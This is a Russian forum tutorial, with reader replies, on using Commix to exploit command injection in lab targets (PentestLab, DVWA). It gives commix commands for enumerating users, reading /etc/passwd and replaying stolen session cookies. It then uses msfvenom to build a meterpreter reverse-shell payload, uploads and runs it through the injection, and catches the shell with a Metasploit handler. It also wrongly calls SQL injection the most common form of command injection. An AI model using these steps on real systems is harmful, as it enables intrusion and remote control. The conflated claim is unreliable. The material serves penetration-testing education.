Статья Commix простыми словами

Voron

Voron

Grey Team
26.02.2019
82
239
В этой статье мы узнаем, как использовать один из инструментов Kali Linux - Commix (Command Injection Exploiter ) с нуля.
На практике используя все основные команды, постепенно переходя к продвинутым.

Введение в Commix


Инструмент Commix предназначен для использования уязвимости внедрения команд в веб-приложениях. Этот инструмент написан на python, что означает, что он совместим с Linux, Windows и Mac. Он поставляется предварительно установленным в Kali Linux, BlackArch и Parrot OS. Этот инструмент позволяет легко находить уязвимости, связанные с внедрением команд, а затем использовать их. Commix удобен для веб-разработчиков, тестеров на проникновение и исследователей безопасности. Он предоставляет пользователю множество опций, таких как возможность указать параметры, которые необходимо подключить к хосту, перечисление жертвы, доступ к файлам и их изменение, а также автономный режим. Словом, это довольно полезный актив для использования уязвимости внедрения команд.

Введение в командную инъекцию

Внедрение команд также известно как внедрение в оболочку или внедрение ОС. Внедрение команд является одной из 10 уязвимостей OWASP. Это атака, при которой произвольные команды хост-ОС выполняются через уязвимое приложение. Такая атака возможна, когда веб-приложение отправляет небезопасные данные пользователя в системную оболочку. Эти пользовательские данные могут быть в любой форме, такой как файлы cookie, формы, заголовки HTTP и так далее. В основном внедрение команд уязвимости становится возможным из-за недостаточной проверки ввода. В этой атаке функциональность приложения по умолчанию расширяется злоумышленником, который затем выполняет системные команды с внедрением вредоносного кода.

Внедрение команд SQL является наиболее популярной формой внедрения команд. Посредством этой атаки злоумышленник добавляет код SQL в поле ввода, чтобы получить доступ в систему. Веб-приложения являются обязательными для таких атак, поскольку именно через них мы взаимодействуем с базовой ОС.

Работа Commix

Commix имеет различные параметры команд, которые вы можете использовать для поиска и подключения к целевому приложению. Такие как, строки данных, HTTP-заголовки, файлы cookie и параметры аутентификации. Commix поддерживает два метода ввода команд: метод на основе результатов и метод слепого ввода команд.

1) Внедрение команды на основе результатов

Этот тип атаки с помощью инъекций позволит вам определить результат введенной команды через результат веб-приложения. Далее он делится на две категории:

Классическое внедрение на основе результатов: это наиболее часто используемый тип внедрения команд и самый простой из всех. При этом используется несколько общих операторов, которые либо связывают подлинные команды с введенными, либо исключают исходные команды в целиком и продолжают выполнять только введенные. Это далее делится еще на три категории: Shellshock, ICMP-эксфильтрация, DNS-эксфильтрация.

Техника на основе Eval: эта техника используется, когда целевое веб-приложение уязвимо для функции eval (). Эта функция используется для выполнения специфического кода, который определен в указанной функции во время выполнения.

2) Инъекция слепой команды

Способ
, которым данные извлекаются после выполнения введенной команды оболочки, является основным отличием работы обоих типов. В том случае, если веб-приложение не возвращает злоумышленнику никакого результата - используется слепая команда впрыска.

Есть еще два типа слепого командного внедрения:

а) Техника, основанная на времени:

Использование этой методики задержит время выполнения введенной команды. Проверяя, сколько времени потребовалось приложению для восстановления, злоумышленник сможет определить, была ли команда выполнена успешно или нет.

б) Техника на основе файлов:

Пригодится если вы не можете определить результат по реакции веб-приложения, она позволит написать набор команд, которые должны быть введены в файл, доступный для взлома. Работа в этой технике аналогична технике на основе результатов.

Что нам понадобится :
  • DVWA
  • PentestLab
  • Kali Linux
  • Commix Tool
Некоторые из практических действий мы выполним в программе pentestlab для Linux, а другие - на DVWA для Windows. Давайте начнем изучение Commix на практике. Сначала воспользуемся командой help, чтобы проверить все опции.
Код:
commix –h
1.png


Теперь давайте попробуем получить сеанс Commix, используя URL. Для этого возьмем URL-адрес, уязвимый для внедрения команды, здесь мы будем использовать URL-адрес pentesterlab, как показано на рисунке ниже:

2.png


Используем следующую команду для сеанса Commix через URL:
Код:
commix -u <URL>
С помощью этой команды мы получим Commix (os shell), как показано на рисунке ниже:

3.png


Далее воспользуемся командой batch, чтобы сеанс commix был по умолчанию:
Код:
commix -u <URL> --batch
4.png


Теперь, как вы можете видеть на изображении выше, мы напрямую вошли в сессию по умолчанию.

Для того, чтобы получить всю основную информацию о цели, используйте следующую команду:
Код:
commix -u <URL> --all
5.png


Как показано на рисунке выше, мы получили всю основную информацию о цели.

Далее с помощью следующей команды мы сможем узнать текущего пользователя цели:
Код:
commix –u <URL> --current-user
6.png


В результате мы видим, что текущим пользователем является www-data.

Далее мы также можем узнать имя хоста с помощью следующей команды:
Код:
commix –u <URL> --hostname
7.png


Следовательно, хост - Debian.

Теперь мы можем определить, является ли наша цель привелегированной или нет. Итак, для этого у нас есть следующая команда:
Код:
commix –u <URL> --is-root
8.png


Таким образом, мы обнаружили, что наша цель не является привелегированной.

Используем следующую команду, чтобы получить информацию о системе:
Код:
commix –u <URL> --sys-info
9.png


После выполнения вышеуказанной команды у нас теперь имеется системная информация.

Чтобы получить информацию о пользователях, используем следующую команду:
Код:
commix –u <URL> --user
10.png


Таким образом, у нас теперь есть список всех пользователей.

Следующая команда используется, чтобы узнать об администраторе системы:
Код:
commix –u <URL> --is-admin
11.png


И снова вы можете видеть, что целью является не админ.

Теперь, чтобы прочитать содержимое нужного файла, мы можем использовать следующую команду:
Код:
commix –u <URL> --file-read=/etc/passwd
12.png


Результаты вышеупомянутой команды показаны на изображении выше.

Далее наши исследования выполняются на DWVA (среда Windows).

13.png


Захват cookie с использованием BurpSuite.

14.png


Теперь мы используем содержимое файла cookie для проверки нашего сеанса с использованием параметров «—cookie» и «-data».
Эти два параметра используются для отправки строки данных с целью использования метода POST и одновременной проверки нашего сеанса.

Для этого используйте следующую команду:
Код:
commix –u <URL> --cookie="security=low; PHPSESSID=2r9avccki91i3uq2eqlud8sg08" --data="ip=127.0.0.1&Submit=Submit"
15.png


Далее мы создадим вредоносный файл, используя msfvenom.

Вводим следующую команду, чтобы создать программу:
Код:
msfvenom –p python/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1234 –f raw > venom.py
16.png


Теперь мы будем использовать полученный файл и загрузим его в нашу цель, используя следующую команду:
Код:
commix -u <URL> --cookie="PHPSESSID=4029asg19ejeuibfq30d7lc1o8; security=low" --data="ip=127.0.0.1&Submit=Submit" --file-write="/root/venom.py" --file-dest="/tmp/venom.py" --os-cmd="python /tmp/venom.py"
17.png


Вредоносная программа загружена и запущена на целевом компьютере.

Далее будем использовать multi / handler

Применяем следующий набор команд:
Код:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost eth0
set lport 1234
run
18.png


Таким образом, мы получили сеанс meterpreter.

Вот мы и попробовали на практике использовать автоматизированный инструмент commix в своих интересах.
 
ubehebe

ubehebe

Active member
21.11.2016
26
13
Инструмент интересный, но сколько раз пробовал постоянно после 10-20% выполнения обрывается с ошибкой: Critical: Temporary failure in name resolution
 
  • Нравится
Реакции: Voron
Voron

Voron

Grey Team
26.02.2019
82
239
Видимо раз за разом Вы выполняете один и тот же сценарий - к примеру - берете флешку (или не флешку) с Kali (или не с Kali), втыкаете ее в ноут (или это основная ОС), или на виртуалке - ну и так далее до возникновения ошибки . И понять где собака зарыта можно лишь пройдя за вами шаг за шагом с самого начала, начиная с установки.
 
Последнее редактирование:
M

MrBa

Well-known member
26.01.2017
77
22
Привет всем!
У меня такой вопрос. Зпускаю и процесс идет очень долго. Смотрел все видео, там очень быстро проходит процесс. В чем может быть проблема? Тестил на кали с каналом 1 Гб
 
  • Нравится
Реакции: Voron
Voron

Voron

Grey Team
26.02.2019
82
239
Привет всем!
У меня такой вопрос. Зпускаю и процесс идет очень долго. Смотрел все видео, там очень быстро проходит процесс. В чем может быть проблема? Тестил на кали с каналом 1 Гб
Как вариант - в роликах авторы стараются произвести максимальный эффект на зрителя - гоняют как основную ОС, а у нас Кали обычно на флешке (зачастую туповатой))) и конечно с возможностью сохранения данных, а это однозначно снижает скорость полета раза в два-три.
 
Последнее редактирование:
M

MrBa

Well-known member
26.01.2017
77
22
а у нас Кали обычно на флешке (зачастую туповатой))) и конечно с возможностью сохранения данных, а это однозначно снижает скорость полета раза в два-три.
Не, Кали как основная и единственная с белым IP
 
  • Нравится
Реакции: Voron
anykenanyken

anykenanyken

Member
08.12.2018
18
5
Привет всем!
У меня такой вопрос. Зпускаю и процесс идет очень долго. Смотрел все видео, там очень быстро проходит процесс. В чем может быть проблема? Тестил на кали с каналом 1 Гб
да есть такое, с каждым апдейтом все медленее крутит он уже к сожалению (((
 
  • Нравится
Реакции: Voron
Мы в соцсетях: